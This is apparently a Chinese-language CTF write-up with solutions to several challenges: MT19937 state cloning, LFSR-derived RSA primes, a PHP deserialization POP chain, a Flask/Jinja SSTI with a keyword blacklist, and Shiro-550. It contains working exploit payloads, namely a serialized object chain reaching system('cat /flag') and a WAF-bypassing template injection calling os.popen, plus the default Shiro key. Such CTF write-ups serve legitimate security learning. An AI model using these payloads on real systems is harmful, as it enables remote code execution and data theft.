ezRandom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
import hashlib
import random

def untemper(y: int) -> int:
    """
    Reverses the tempering process of the MT19937 random number generator.
    This function takes a 32-bit tempered output and returns the corresponding
    internal state value.
    """
    y ^= (y >> 18)
    y ^= (y << 15) & 0xefc60000
    # Iteratively reverse the y ^= (y << 7) & 0x9d2c5680 step
    y ^= ((y << 7) & 0x9d2c5680) ^ ((y << 14) & 0x94284000) ^ ((y << 21) & 0x14200000) ^ ((y << 28) & 0x10000000)
    # Iteratively reverse the y ^= (y >> 11) step
    y ^= (y >> 11) ^ (y >> 22)
    return y

# 1. Data from random.txt is now embedded in the script.
random_data = """
169816603364072451748307890137619844128
317715189485522348854327188481878892324
294769318308806389661899406817853855621
184166087188433088797260662701595797481
261743219563260010566392054327210941543
177432090902646875875646834883568454098
206435314920765975238286666178459195682
171546521582020105422173168040267506741
135536603097288008925390987058760929499
164510393285192859038789976650746886019
270610144583795128624484158915357311752
317864942331550909141484304398876864257
143620190783892690342667306910414147706
159193594112341470087155414167453871427
273435578451240600484280605728807497178
329312941639482292417304393984058831955
248699555034368676869633456250642697713
273101914532200971905665445517112217303
267695222792647609239514698731272628257
170623298765065799823687230612395815197
126213943953741554021889458794265155594
26592034961114912462180846182489013571
183412999867736682820336410468786213738
67746048434936614346939023567978004734
209625359076287639736856041539151881349
201248928324843513636862522145004201545
5323105057422217299236654929524578465
59556704498832274731739396094201999872
140394303098620994780495213694385827095
145004960337150565633041856332496004937
5992384913530578720530216282917524306
208185194107452016622785691658580238397
238424223647873853083783544403502234146
259261942623337920828290366132362927907
125737704578700813690250788816670279060
268072503981857308610936128857785471540
46118797402272151678578659539833026043
35558378935300252054878275674955510184
33762887231545360198647281017240073845
81046269185686168793257782929559159932
250684097106550910537808590890238181431
158575367492731431976750077786713410089
50179400607988061711460077834529973792
198407656568946779335773412735130735856
47917535485367807934960531542273856137
159403114580528764608696293178980706952
183360117557599160677562496253978263296
63774403381463436950807190457811371061
134317137107595109940597975042463526576
246522753301984891651795063696071368786
291405071906286823344928083329552378621
45741759917237039331078996546326000823
243602185701835575077746168060451267873
195359997602510690734926203773414330442
95851195160593905370875208067315000550
127675781561757314296686445027744087454
129696866161382247214852939602798329692
248694455444289577295380430814952673489
290114453417822025642274186310958813149
46835022357319107654558432194448202320
320719636369118622587603363468991099327
288475869098762409275248063848714602409
92908006185126626068735181046335473667
292691933934458345188959486463176458828
149613862548721871443161068736391233284
177433290928772186587108746996472809580
125850743880496205393860860326114218420
159688288691183169503815792824556193359
207530684029313748274326946879416477185
255689344727244547256999186938728769662
7777304494067707257908489055478341714
317890667985743923116952631190798926166
320554646134750316779602509084211470160
329407654410443550585420946296318810669
274606803711472229592154378226656678116
112869427988640824311943901607760068989
187973307796056544023429482857532235107
216158371625138969453549400899785242558
163307664224591174521746033181557164669
3064353194872737175827596467974117401
204915348854580215318171691928989206339
283117302667123197094720361996085735212
333051035729599532093448979507371459584
306308638801676854979167138449216338967
180807107058749628568939100996874516568
58568217733986846396716273049081598720
4078685346416880700773350184013235833
272218314830590712201451982991340752403
290318260515224463684331637865256393476
313245674125183590325705691595679735744
25590052016785698243133017811510800885
67654187592577099804411106698512004043
178784739297630956803389380812594750899
184527630270274197831627384400619016358
116701579190176811279615150941524472292
227928294072621059159669292974714979701
294326051181863264812948141848989831008
106874320797784544608497644480038889250
19000208874511360795173137428407314551
158255542023631563866272451323861375334
118723545322184547775204009138905292078
137075800175801137027054978460618025678
321970056085588197748762355838680886197
170990416503164917481465132947334641381
309320203800080049567227742472891228253
34750063702404239360029880813652799540
326280284745476174113688614145671847262
61637893974444319264927518666117762228
261220066069681624319534486599383801303
186120828920237086027958064494641923959
254370808789075842466909979567957360764
227441312758333150589995145256498513652
76456133920194932185102379472101526873
22954509060755839464494217322735686210
78776593991465540215872407627232025988
116645562250835276044660446589337062143
44173891493435309065935716120413075150
60070300138631867670942196893840228721
188006901985201694863101324815407053769
236129693090793397635438628306344148291
304864119184994491635170968566867837169
303079922076937624881495492374423229596
287059174864692087577533993423438058814
276941120116691242309319547143520715330
14100720257747434845078729659844382903
308223042684852903142310230407898412551
15115966346630769327038944427222390713
337017148737556727681546198295429039319
101970506385723322324082107029805153501
323083772181192720910549823233924075567
99996706275873699858952942883788401600
117564972358793313045534224778241924522
304919664602420709645708355577148453035
327555266117428962301878598306686598889
311606195388386985808747555133830164505
208275702262693337046010194528432511375
167709919056143532207099807441198273234
190980032018535550337190034872259711823
302552011950118681026501605880414287405
3952256416592249590975396044247035176
272956371261232666990936562752832257112
73815332280096349906992033606592547376
59769737734699732628514224528291347097
171449447870228456093848384569390658657
238686866882293185814836432052757569662
82296236385538800426223974316235308220
58757611958651423838779178911955389843
14790673707557703542430544444509987559
175835320416406148531821062948679786178
263437241295232584024584415536288513441
14135249527523999756762693056554276102
230042637450817033012847911150669865907
107622678994660412419141455891030816809
310830500113427104046853264835426354341
227244078198930090724591668529472012488
240328330403918217094186554139499122731
"""
# Read numbers from the multiline string instead of a file
numbers = [int(n) for n in random_data.strip().split('\n')]

# 2. Extract the 624 32-bit outputs.
# The random.getrandbits(k) function assembles the number from the LSB up.
# So, num = r0 | (r1 << 32) | (r2 << 64) | (r3 << 96)
outputs_32bit = []
for num in numbers:
    outputs_32bit.append(num & 0xffffffff)
    outputs_32bit.append((num >> 32) & 0xffffffff)
    outputs_32bit.append((num >> 64) & 0xffffffff)
    outputs_32bit.append((num >> 96) & 0xffffffff)

# 3. Untemper the outputs to get the internal state vector.
state_vector = [untemper(y) for y in outputs_32bit]

# 4. Reconstruct the generator's state.
# The state tuple for random.setstate() is (version, (state_tuple, index), None)
# After generating 624 numbers, the index is at the end of the state vector.
cloned_state = (3, tuple(state_vector + [624]), None)

# 5. Create a new generator and set its state to the cloned one.
r = random.Random()
r.setstate(cloned_state)

# 6. Predict the next 32-bit number.
predicted_num = r.getrandbits(32)

# 7. Calculate the MD5 hash for the flag.
flag = hashlib.md5(str(predicted_num).encode()).hexdigest()

print(f"Predicted next 32-bit number: {predicted_num}")
print(f"MD5 Flag: {flag}")

得出flag

Signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
from Crypto.Util.number import long_to_bytes

import gmpy2



# LFSR class from the problem

class LFSR():

def __init__(self, init, mask, length):

self.init = init

self.mask = mask

self.lengthmask = 2**(length) - 1



def next(self):

next_val = (self.init << 1) & self.lengthmask

i = self.init & self.mask & self.lengthmask

output = 0

while i != 0:

output ^= (i & 1)

i = i >> 1

next_val ^= output

self.init = next_val

return output



# Function to generate a prime candidate for a given initial state and offset

def get_prime_candidate(init, mask, bitlength, offset):

L = LFSR(init, mask, mask.bit_length())

# Apply the unknown offset

for _ in range(offset):

L.next()



out = 0

# Generate the 256-bit number

for _ in range(bitlength):

out = (out << 1) ^ L.next()



return gmpy2.next_prime(out)



# Given values from the challenge

c = 463590461188033527043854754872704332870891263554172847159500649679638472438757152817454886691678004882634384446144101353715645298688259129989676349852250

hint = 275851348401668711

mask = 0b10000000000000000000000001010111

e = 2**16 + 1

BIT_LENGTH = 256

MASK_LENGTH = mask.bit_length()

MAX_OFFSET = 64



# 1. Recover initial states from the hint

init_q = hint & ((1 << 32) - 1)

init_p = hint >> 32



print(f"[*] Recovered init_p: {init_p}")

print(f"[*] Recovered init_q: {init_q}")



# 2. Generate all possible prime candidates for p and q

p_candidates = []

for i in range(MAX_OFFSET):

p_candidates.append(get_prime_candidate(init_p, mask, BIT_LENGTH, i))



q_candidates = []

for j in range(MAX_OFFSET):

q_candidates.append(get_prime_candidate(init_q, mask, BIT_LENGTH, j))



print(f"\n[+] Generated {len(p_candidates)} candidates for p.")

print(f"[+] Generated {len(q_candidates)} candidates for q.")

print("[*] Searching for the correct prime pair...")



# 3. Brute-force the correct (p, q) pair

for p in p_candidates:

for q in q_candidates:

if p == q:

continue



n = p * q

phi = (p - 1) * (q - 1)



# Ensure the modulus is large enough for the ciphertext

if n < c:

continue



try:

# 4. Calculate private key and decrypt

d = pow(e, -1, phi)

m = pow(c, d, n)



# 5. Check if the decrypted message is the flag

decrypted_bytes = long_to_bytes(m)

if b'flag' in decrypted_bytes:

print("\n[!] Flag found!")

print(f" p = {p}")

print(f" q = {q}")

print(f" Flag: {decrypted_bytes.decode()}")

exit(0)

except (ValueError, TypeError):

continue



print("\n[-] Flag not found.")

得到flag

hack caut-part1

img

密码就是1145141919810

鸡你太美

补充文件gif头即可得出

img

真signin

image-20250525135732443

我的flag碎掉了

把4张图片下载到画布上,降低透明度重叠在一起得到

菌子pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// 定义所有需要的类
class 青头菌 {
public $qtj = "NotFullyCooked";
protected $code = "/.*/e";
protected $message = "system('cat /flag');";
}

class 松茸 {
public $sr;
public function __construct() {
$this->sr = new 青头菌();
}
}

class 牛肝菌 {
public $ngj;
public function __construct($sr) {
$this->ngj = array('poison' => $sr);
}
}

class 鸡纵菌 {
public $callbackfuc;
public function __construct($ngj) {
$this->callbackfuc = $ngj;
}
}

class 干巴菌 {
public $gbj;
public function __construct($jzj) {
$this->gbj = $jzj;
}
}

// 构建调用链
$sr = new 松茸(); // 松茸 对象包含 青头菌
$ngj = new 牛肝菌($sr); // 牛肝菌 对象包含 松茸
$jzj = new 鸡纵菌($ngj); // 鸡纵菌 对象包含 牛肝菌
$gbj = new 干巴菌($jzj); // 干巴菌 对象包含 鸡纵菌

// 序列化并进行 URL 编码
echo urlencode(serialize($gbj));
?>

干巴菌:调用链的起点,利用 __wakeup() 自动触发。

鸡纵菌:连接 干巴菌 和 牛肝菌,通过 call_user_func 传递调用。

牛肝菌:连接 鸡纵菌和 松茸,通过 __invoke() 触发属性访问。

松茸:连接 牛肝菌 和 青头菌,通过 __get() 触发字符串转换。

青头菌:调用链的终点,利用 preg_replace 执行命令。

构造思路:

青头菌的 preg_replace需要toString方法(当一个对象被强制转换为字符串时例如通过 echo 或字符串拼接会自动调用)触发,

而想调用这个函数需要松茸的get方法(访问一个对象中不存在或不可访问的属性时会自动调用)触发,因为里面有echo方法,

而又想调用这个函数需要牛肝菌的invoke方法(当一个对象被当作函数调用时会自动触发)触发,因为里面的$message = $this->ngj[‘poison’]->nnggjj;调用了不存在对象

而又又想调用鸡枞菌的call_user_func方法需要调用鸡枞菌的见小人(),而又又想调用见小人方法需要干巴菌的wakeup方法,它会调用干巴菌炒饭,然后干巴菌炒饭调用见小人方法最后的到flag

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
 <?php
header("Content-Type: text/html; charset=UTF-8");

class 牛肝菌 {
public $ngj;
public $source;
public $message;

public function __construct()
{
$this->source = $this->ngj['poison'];
}

public function __invoke()
{
$message = $this->ngj['poison']->nnggjj;
return $message;
}
}

class 松茸 {
public $sr;

public function __construct()
{
echo "松茸真好吃~\r\n";
}

public function __get($name)
{
echo $this->sr;
}

}

class 平菇 {
public $pg;

public function __construct()
{
$this->pg = 'Fake junzi';
}

public function __destruct()
{
echo "平菇是Fake junzi\r\n";
}
}

class 青头菌 {
public $qtj;
protected $code;
protected $message;

public function __construct()
{
$qtj = $this->qtj;
}

public function __toString()
{
if ($this->qtj === 'NotFullyCooked') {
$this->躺板板();
} else {
return "炒熟了,好吃~\r\n";
}
}

public function 躺板板()
{
preg_replace($this->code, $this->message, "test");
}

public function 么么三三()
{
$temp = "dummy";
for ($i = 0; $i < 5; $i++) {
$temp .= $i;
}
return strrev($temp);
}

public function 三三么么($param)
{
return md5($param);
}

public function __destruct()
{
$this->三三么么($this->qtj);
}
}

class 香菇 {
public $xg;

public function __construct()
{
$this->xg = 'Fake junzi';
}

public function __wakeup()
{
echo "香菇虽然不是junzi,但是很好吃~~~\r\n";
}
}

class 干巴菌 {
public $gbj;
public $callbackfuc;

public function __construct()
{
echo "干巴菌炒饭真香~\r\n";
}

public function __wakeup()
{
echo "未可啊噗\r\n";
$this->干巴菌炒饭();
}

public function 干巴菌炒饭()
{
$this->gbj->见小人();
}

public function 干巴爹()
{
$fake = "干巴爹";
echo strtoupper($fake);
}

public function 来个random()
{
return random_int(100, 200);
}
}

class 鸡纵菌 {
public $jzj;
public $callbackfuc;

public function 见小人()
{
call_user_func($this->callbackfuc);
}

public function 啥一()
{
return sha1("板砸");
}

public function __destruct()
{
echo "鸡纵菌被吃掉了~ T.T\r\n";
}
}

if (isset($_GET['data'])) {
$data = $_GET['data'];
$object = unserialize($data);
} else {
highlight_file(__FILE__);
}

?>

模版之内无害的预览

扫目录发现secret目录,点进去发现加密,解密后发现是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
path = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
f.save(path)
return jsonify({
"message": "File uploaded successfully",
"path": "uploads/" + f.filename,
}), 200
return '''
<meta charset="UTF-8">
<h2>文件上传测试页面</h2>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''

def waf_check(s):
blacklist = [
'__',
'os',
'subclasses',
'builtins',
'globals',
'getattr',
'setattr',
'exec',
'eval',
'compile',
'importlib',
'open',
'pickle',
'marshal',
'input',
'flag',
'=',
'cat',
'tac',
'more',
'less',
'tail'
]
for word in blacklist:
if word in s:
return False
return True

@app.route('/view/<path:filename>')
def view_file(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if not os.path.exists(filepath):
return f"File '{filename}' not found."

try:
with open(filepath, 'r', encoding='utf-8') as f:
content = f.read()
except UnicodeDecodeError:
return "Only text files are allowed (no binary like PNG)."
except Exception as e:
return f"Error reading file: {e}"

if not waf_check(content):
if not waf_check(filename):
return 'Blocked by WAF!'

try:
output = '''
<body>
<h2>文件预览</h2>
<p>以下是你想要查看的文件,文件名:{filename}</p>
<p>文件内容:</p>
<pre>{content}</pre>
</body>
'''.format(filename=filename, content=content)
return render_template_string(output)
except Exception as e:
return f"Template rendering error: {e}"

构造完payload

1
2
3
4
5
6
7
8
9
10
11
12
{% set g1='__glo' %}
{% set g2='bals__' %}
{% set global_obj=lipsum|attr(g1+g2) %}
{% set o1='o' %}
{% set o2='s' %}
{% set os_module=global_obj[o1+o2] %}
{% set p1='p' %}
{% set p2='open' %}
{% set popen_func=os_module[p1+p2] %}
{% set cmd='cat /flag' %}
{% set result=popen_func(cmd) %}
{{result.read()}}

上传后在/view/5.txt找到flag(注意/uploads/5.txt找不到,坑人改位置了)

image-20250525154429989

Shiro

image-20250525180409510

去包里找

image-20250525180440139

账号密码找到了,进入里面继续看源码

image-20250525180547508

去pom.xml发现版本是1.2.4,容易受到 Shiro-550 rememberMe Cookie 反序列化远程代码执行 (RCE) 漏洞的攻击

image-20250525180717550

发现它并没有调用 setCipherKey(byte[] key) 方法来为这个实例设置一个自定义的加密密钥,所以密钥是默认的kPH+bIxk5D2deZiIxcaaaA==

用工具命令执行发现flag

image-20250525180303928